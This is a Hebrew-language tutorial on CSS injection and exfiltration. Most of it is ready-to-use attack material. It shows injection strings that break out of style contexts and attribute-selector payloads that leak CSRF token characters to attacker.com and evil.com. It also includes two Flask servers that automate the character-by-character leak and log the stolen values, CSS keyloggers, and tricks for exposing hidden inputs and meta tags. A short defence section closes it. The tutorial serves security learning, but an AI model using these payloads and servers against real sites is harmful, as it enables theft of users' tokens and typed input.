הזרקת CSS ואקספילטרציה - CSS Injection and Exfiltration¶
הinjection CSS - יסודות¶
הinjection CSS מתרחשת כאשר תוקף יכול להחדיר תוכן CSS לדף. למרות ש-CSS אינו שפת תכנות, ניתן לנצל אותו לexfiltration מידע רגיש מהדף.
נקודות injection נפוצות¶
<!-- injection via style attribute -->
<div style="USER_INPUT_HERE"></div>
<!-- injection via style tag -->
<style>
.widget { color: USER_INPUT_HERE; }
</style>
<!-- injection via CSS import -->
<link rel="stylesheet" href="https://example.com/style?theme=USER_INPUT">
דוגמה לinjection:
input: red; } body { background: url(https://attacker.com/css-injected) } .x {
result:
<style>
.widget { color: red; }
body { background: url(https://attacker.com/css-injected) }
.x { }
</style>
הexfiltration מידע עם Attribute Selectors¶
הטכניקה המרכזית - שימוש ב-CSS attribute selectors כדי לזהות ערכים של שדות input:
/* check if the input value starts with 'a' */
input[value^="a"] {
background: url(https://attacker.com/exfil?char=a);
}
/* check if the input value starts with 'b' */
input[value^="b"] {
background: url(https://attacker.com/exfil?char=b);
}
/* and so on for every possible character */
כאשר הדפדפן מוצא input שערכו מתחיל ב-a, הוא טוען את ה-URL של התוקף. התוקף יודע את התו הראשון.
הexfiltration CSRF token¶
אם בדף יש input מוסתר עם CSRF token:
ה-CSS של התוקף:
input[name="csrf_token"][value^="a"] { background: url(https://attacker.com/exfil?v=a); }
input[name="csrf_token"][value^="b"] { background: url(https://attacker.com/exfil?v=b); }
/* ... */
input[name="csrf_token"][value^="a7"] { background: url(https://attacker.com/exfil?v=a7); }
input[name="csrf_token"][value^="a8"] { background: url(https://attacker.com/exfil?v=a8); }
/* ... */
הבעיה: צריך לשלוח CSS חדש לכל תו, כי צריך לדעת את התו הקודם לפני שבודקים את הבא.
טכניקת Sequential Import¶
פתרון לבעיית הexfiltration הסדרתי - שימוש ב-CSS import שרץ שוב ושוב:
השרת מחזיר CSS עם כל האפשרויות לתו הראשון:
/* server response - step1 */
input[name="csrf"][value^="0"] { background: url(https://attacker.com/leak?p=0); }
input[name="csrf"][value^="1"] { background: url(https://attacker.com/leak?p=1); }
input[name="csrf"][value^="2"] { background: url(https://attacker.com/leak?p=2); }
/* ... up to z, 0-9 */
כשהתוקף מקבל hit ל-?p=a, הוא יודע שהתו הראשון הוא a. עכשיו ה-import הבא:
/* server response - step2 (after discovering 'a') */
input[name="csrf"][value^="a0"] { background: url(https://attacker.com/leak?p=a0); }
input[name="csrf"][value^="a1"] { background: url(https://attacker.com/leak?p=a1); }
/* ... */
אוטומציה עם שרת¶
from flask import Flask, request, Response
import string
app = Flask(__name__)
leaked = ""
charset = string.ascii_lowercase + string.digits
@app.route('/exfil/start')
def start():
css = generate_css("")
return Response(css, mimetype='text/css')
@app.route('/leak')
def leak():
global leaked
leaked = request.args.get('p', '')
print(f'[+] Leaked so far: {leaked}')
return '', 200
@app.route('/exfil/next')
def next_step():
css = generate_css(leaked)
return Response(css, mimetype='text/css')
def generate_css(prefix):
rules = []
for char in charset:
value = prefix + char
rules.append(
f'input[name="csrf_token"][value^="{value}"]'
f'{{ background: url(https://attacker.com/leak?p={value}); }}'
)
# import for the next step
rules.append(f'@import url(https://attacker.com/exfil/next?t={len(prefix)+1});')
return '\n'.join(rules)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=443, ssl_context='adhoc')
טכניקת Font-Face Unicode-Range¶
טכניקה מתקדמת יותר שמשתמשת ב-@font-face עם unicode-range כדי לזהות תווים ספציפיים:
@font-face {
font-family: exfil;
src: url(https://attacker.com/leak?char=a);
unicode-range: U+0061; /* 'a' */
}
@font-face {
font-family: exfil;
src: url(https://attacker.com/leak?char=b);
unicode-range: U+0062; /* 'b' */
}
/* apply to an element that contains the text */
.target-element {
font-family: exfil, sans-serif;
}
כאשר הדפדפן מרנדר טקסט עם התו a, הוא טוען את הגופן מ-URL של התוקף.
יתרונות¶
- עובד על תוכן טקסט (לא רק attribute values)
- ניתן לזהות אילו תווים קיימים בטקסט
חסרונות¶
- לא שומר על סדר התווים
- מזהה רק קיום, לא מיקום
- חלק מהדפדפנים לא תומכים בטעינה לפי unicode-range
CSS Keylogger¶
רעיון תיאורטי - שימוש ב-CSS attribute selectors כדי לתעד הקלדות:
/* "keylogger" in CSS - only works with an input whose value updates in the attribute */
input[value$="a"] { background: url(https://attacker.com/key?k=a); }
input[value$="b"] { background: url(https://attacker.com/key?k=b); }
input[value$="c"] { background: url(https://attacker.com/key?k=c); }
/* ... for every character */
מגבלות:
- ב-React/Angular שמעדכנים את ה-value attribute, זה עלול לעבוד
- ב-HTML רגיל, value attribute לא מתעדכן אוטומטית עם ההקלדה
- הדפדפן שולח בקשה רק פעם אחת לכל URL (caching)
גרסה עם React¶
/* React updates the value attribute */
input[value$="p"] { background: url(https://attacker.com/log?last=p); }
input[value$="pa"] { background: url(https://attacker.com/log?last=pa); }
input[value$="pas"] { background: url(https://attacker.com/log?last=pas); }
input[value$="pass"] { background: url(https://attacker.com/log?last=pass); }
הexploit Scroll-to-Text Fragment¶
טכניקת scroll-to-text מאפשרת קישור לטקסט ספציפי בדף:
ניתן לשלב עם CSS כדי לזהות אם טקסט קיים:
/* if the browser scrolls to the text, the element gets a pseudo-class */
:target::before {
content: url(https://attacker.com/found);
}
מגבלות: עובד רק ב-Chrome, ולא תמיד עם CSS.
CSS Exfiltration Payload מלא¶
payload שמחלץ CSRF token מ-hidden input¶
/* Step 1: extract the first character */
input[name="csrf"][value^="0"]{--x:url(https://evil.com/l?v=0)}
input[name="csrf"][value^="1"]{--x:url(https://evil.com/l?v=1)}
input[name="csrf"][value^="2"]{--x:url(https://evil.com/l?v=2)}
input[name="csrf"][value^="3"]{--x:url(https://evil.com/l?v=3)}
input[name="csrf"][value^="4"]{--x:url(https://evil.com/l?v=4)}
input[name="csrf"][value^="5"]{--x:url(https://evil.com/l?v=5)}
input[name="csrf"][value^="6"]{--x:url(https://evil.com/l?v=6)}
input[name="csrf"][value^="7"]{--x:url(https://evil.com/l?v=7)}
input[name="csrf"][value^="8"]{--x:url(https://evil.com/l?v=8)}
input[name="csrf"][value^="9"]{--x:url(https://evil.com/l?v=9)}
input[name="csrf"][value^="a"]{--x:url(https://evil.com/l?v=a)}
input[name="csrf"][value^="b"]{--x:url(https://evil.com/l?v=b)}
input[name="csrf"][value^="c"]{--x:url(https://evil.com/l?v=c)}
input[name="csrf"][value^="d"]{--x:url(https://evil.com/l?v=d)}
input[name="csrf"][value^="e"]{--x:url(https://evil.com/l?v=e)}
input[name="csrf"][value^="f"]{--x:url(https://evil.com/l?v=f)}
/* using a custom property to load only when it matches */
input[name="csrf"] {
background: var(--x);
}
שרת לקבלת המידע¶
from flask import Flask, request
import time
app = Flask(__name__)
exfiltrated = {}
@app.route('/l')
def leak():
value = request.args.get('v', '')
timestamp = time.time()
exfiltrated[timestamp] = value
print(f'[{time.strftime("%H:%M:%S")}] Leaked: {value}')
return '', 200
@app.route('/status')
def status():
# display all the stolen data
sorted_leaks = sorted(exfiltrated.items())
result = '\n'.join([f'{ts}: {val}' for ts, val in sorted_leaks])
return result, 200, {'Content-Type': 'text/plain'}
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8443, ssl_context='adhoc')
מגבלות מעשיות¶
הגבלות הדפדפן¶
- דפדפנים מבצעים caching של בקשות background-image
- חלק מהדפדפנים לא טוענים background-image על hidden elements
display: noneמונע טעינת backgroundtype="hidden"על input לא תמיד מציג background
הbypasses למגבלות¶
/* turning a hidden input visible */
input[type="hidden"][name="csrf"] {
display: block !important;
position: absolute;
width: 1px;
height: 1px;
overflow: hidden;
}
/* using the ::after pseudo-element */
input[name="csrf"][value^="a"]::after {
content: url(https://attacker.com/leak?v=a);
}
/* using list-style-image instead of background */
input[name="csrf"][value^="a"] {
list-style-image: url(https://attacker.com/leak?v=a);
}
הinjection CSS מתקדמת - ללא תגית style¶
כאשר יש injection point ב-attribute:
ניתן להשתמש ב-attribute injection:
input: x" style="background:url(https://attacker.com/injected)" class="y
result: <div class="x" style="background:url(https://attacker.com/injected)" class="y"></div>
כאשר יש injection ב-style attribute:
input: ;background:url(https://attacker.com/injected)
result: <div style="color:red;background:url(https://attacker.com/injected)"></div>
הexfiltration מידע מ-meta tags¶
/* extracting meta tag content */
meta[name="csrf-token"][content^="a"] ~ * {
background: url(https://attacker.com/leak?v=a);
}
/* meta tags are usually in head and not visible */
/* need to use a sibling selector */
head, head * {
display: block;
}
meta[name="csrf-token"][content^="a"] {
background: url(https://attacker.com/leak?v=a);
display: block;
}
הגנה¶
CSP מחמיר לסגנונות¶
הימנעות מinjection CSS¶
// don't put user input inside CSS
// bad:
element.style.color = userInput;
element.setAttribute('style', 'color: ' + userInput);
// good:
let allowedColors = ['red', 'blue', 'green'];
if (allowedColors.includes(userInput)) {
element.style.color = userInput;
}
שימוש ב-CSS sanitization¶
// sanitize CSS values
function sanitizeCSSValue(value) {
// removes url(), expression(), import, etc.
return value.replace(/url\s*\(/gi, '')
.replace(/expression\s*\(/gi, '')
.replace(/@import/gi, '')
.replace(/javascript:/gi, '')
.replace(/;/g, '');
}
הפרדת CSRF tokens מ-DOM¶
// instead of a hidden input, keep the token in JavaScript only
// not accessible to CSS selectors
const csrfToken = (function() {
let token = null;
return {
set: function(t) { token = t; },
get: function() { return token; }
};
})();
סיכום¶
הinjection CSS היא טכניקת תקיפה שמאפשרת exfiltration מידע רגיש מדפי HTML ללא JavaScript. הטכניקה מנצלת attribute selectors ו-background URLs כדי לשלוח מידע לשרת התוקף. למרות מגבלות מעשיות, היא יעילה במיוחד לexfiltration CSRF tokens ומידע מ-hidden inputs. ההגנה דורשת CSP מחמיר, הימנעות מהחדרת קלט משתמש לתוך CSS, והפרדת מידע רגיש מ-DOM.